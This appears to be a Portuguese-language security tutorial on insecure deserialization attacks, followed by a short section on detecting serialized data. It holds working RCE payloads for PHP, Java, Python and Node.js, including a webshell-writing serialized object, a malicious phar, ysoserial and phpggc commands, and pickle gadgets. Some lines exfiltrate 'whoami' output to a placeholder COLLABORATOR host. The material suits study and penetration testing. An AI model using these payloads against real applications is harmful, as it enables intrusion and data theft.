Kaique Mitsuo Silva Yamamoto
Seguranca informacaoWeb vulnerabilities

Insecure Deserialization

Java, PHP, Python, Node.js deserialization attacks, gadget chains, ysoserial, PHPGGC — explorando objetos serializados para RCE.

Deserialization insegura ocorre quando uma aplicação deserializa dados controlados pelo atacante sem validação. Dependendo da linguagem, isso pode resultar em RCE direto.


Conceitos

Serialização: Objeto em memória → Bytes (transmissão/armazenamento)
Deserialização: Bytes → Objeto em memória

O problema: se os bytes são controlados pelo atacante,
ele pode criar objetos maliciosos que executam código
durante a deserialização.

Formatos de serialização

FormatoLinguagemImpacto
Java ObjectInputStreamJavaRCE via gadget chains
PHP unserialize()PHPRCE via magic methods
Python pickle/marshalPythonRCE direto (eval-like)
Ruby Marshal.loadRubyRCE via gadget chains
Node.js node-serializeNode.jsRCE via IIFE
.NET BinaryFormatterC#RCE via gadget chains

PHP Deserialization

Magic methods vulneráveis

<?php
class Logger {
    public $logfile = '/var/log/app.log';
    public $logdata = 'normal log';
    
    public function __destruct() {
        file_put_contents($this->logfile, $this->logdata);
    }
}

// Se attacker controla serialized data:
// O:6:"Logger":2:{s:7:"logfile";s:24:"/var/www/html/shell.php";s:7:"logdata";s:31:"<?php system($_GET['cmd']);?>";}
// Ao deserializar, __destruct escreve webshell

Gadget chains comuns

# file_put_contents via __destruct
# → Webshell

# __toString em string context
# → Code execution se __toString chama eval

# __wakeup (executado ao deserializar)
# → Imediato, sem esperar __destruct

# phar:// deserialization
# Upload de arquivo .phar + incluir via phar://path.phar
# Deserialization automática dos metadados do phar

# POP (Property Oriented Programming)
# Encadear métodos de classes existentes para alcançar RCE

PHPGGC

# Instalar
git clone https://github.com/ambionics/phpggc.git

# Listar gadget chains
./phpggc -l

# Gerar payload
./phpggc Laravel/RCE1 system 'id'
# Output: O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{...}

# Gerar payload com output em arquivo
./phpggc -f shell.php Monolog/RCE1 system 'id'

# Chains populares:
./phpggc -l | grep RCE
# Laravel/RCE1, Laravel/RCE2
# Symfony/RCE1, Symfony/RCE2
# Monolog/RCE1, Monolog/RCE2
# Guzzle/RCE1
# Yii/RCE1
# Slim/RCE1

Phar deserialization

// Criar phar malicioso
<?php
class EvilClass {
    public $cmd = 'id';
    public function __destruct() {
        system($this->cmd);
    }
}

$obj = new EvilClass();
$obj->cmd = 'curl http://COLLABORATOR/$(whoami)';

$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($obj);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
rename('evil.phar', 'evil.phar.gif');  // Bypass de extensão

// Trigger:
// Se aplicação processa file:// ou phar:// paths:
include('phar://evil.phar.gif');
// OU
file_get_contents('phar://evil.phar.gif');
// OU via wrapper:
$finfo = new finfo(FILEINFO_MIME, 'phar://evil.phar.gif');

Java Deserialization

ysoserial

# Instalar
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# Listar gadgets
java -jar ysoserial-all.jar

# Gerar payload
java -jar ysoserial-all.jar CommonsCollections1 'id' > payload.bin
java -jar ysoserial-all.jar CommonsCollections2 'curl http://COLLABORATOR/$(whoami)' > payload.bin
java -jar ysoserial-all.jar Groovy1 'id' > payload.bin
java -jar ysoserial-all.jar Jdk7u21 'id' > payload.bin
java -jar ysoserial-all.jar Spring1 'id' > payload.bin

# Chains populares:
# CommonsCollections1-7
# Groovy1
# Spring1-2
# Hibernate1-2
# Jdk7u21
# JavassistWeld1
# JSON1
# Jython1

Detecção em aplicações Java

# Sinais de Java serialization:
1. Dados começam com: aced (hex) ou rO0 (base64)
2. Header: 0xACED 0x0005 (Java serialization stream)
3. Content-Type: application/x-java-serialized-object
4. Cookies com dados serializados
5. Parâmetros POST com dados binários

# Burp Suite: extensão Java Deserialization Scanner
# Detecta automaticamente endpoints vulneráveis

Python Deserialization

pickle é RCE por design

import pickle
import os

class RCE:
    def __reduce__(self):
        return (os.system, ('id',))

payload = pickle.dumps(RCE())
# Em base64:
import base64
print(base64.b64encode(payload).decode())
# Cargar: base64 → pickle.loads() → executa id

# Payload mais direto
import pickletools

class Evil:
    def __reduce__(self):
        import subprocess
        return (subprocess.call, (['curl', 'http://COLLABORATOR/$(whoami)'],))

# yaml.load() sem SafeLoader também é perigoso
import yaml
yaml.load('!!python/object/apply:os.system ["id"]')

shelve e marshal

# shelve usa pickle internamente → RCE
import shelve
# Dados de shelve.controlado → pickle.loads() → RCE

# marshal também pode executar código
import marshal
# marshal.loads() com bytecode malicioso

Node.js Deserialization

node-serialize

// node-serialize é vulnerável a RCE via IIFE
const serialize = require('node-serialize');

// Payload: IIFE (Immediately Invoked Function Expression)
// Em vez de: {"name":"test"}
// Usar: {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id')}()"}

// Encoding:
function serializePayload(cmd) {
  const payload = `{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('${cmd}')}()"}`;
  return Buffer.from(payload).toString('base64');
}

// Trigger:
serialize.unserialize(Buffer.from(base64Payload, 'base64').toString());

JSON.parse vs unsafe deserialization

# JSON.parse é seguro (apenas dados, não código)
JSON.parse('{"name":"test"}')  → OK

# Mas se aplicação eval() após JSON.parse:
const data = JSON.parse(userInput);
eval(data.config);  → Code injection

# Prototype pollution → deserialization indireta
{"__proto__": {"isAdmin": true}}
→ Todos objetos herdam isAdmin = true

Detecção

# Java: magic bytes ac ed 00 05
# PHP: O:10:"ClassName":1:{s:4:"prop";s:5:"value";}
# Python: pickle protocol \x80\x04 ou \x80\x03
# Ruby: Marshal header \x04\x08
# Node: JSON com _$$ND_FUNC$$_ ou funções

# Onde procurar:
1. Cookies (session data serializada)
2. Parâmetros POST (dados binários)
3. Headers custom (X-Data, X-Config)
4. File upload (arquivos serializados)
5. API requests (protobuf, Java RMI)
6. Message queues (Redis, RabbitMQ)

Referências

On this page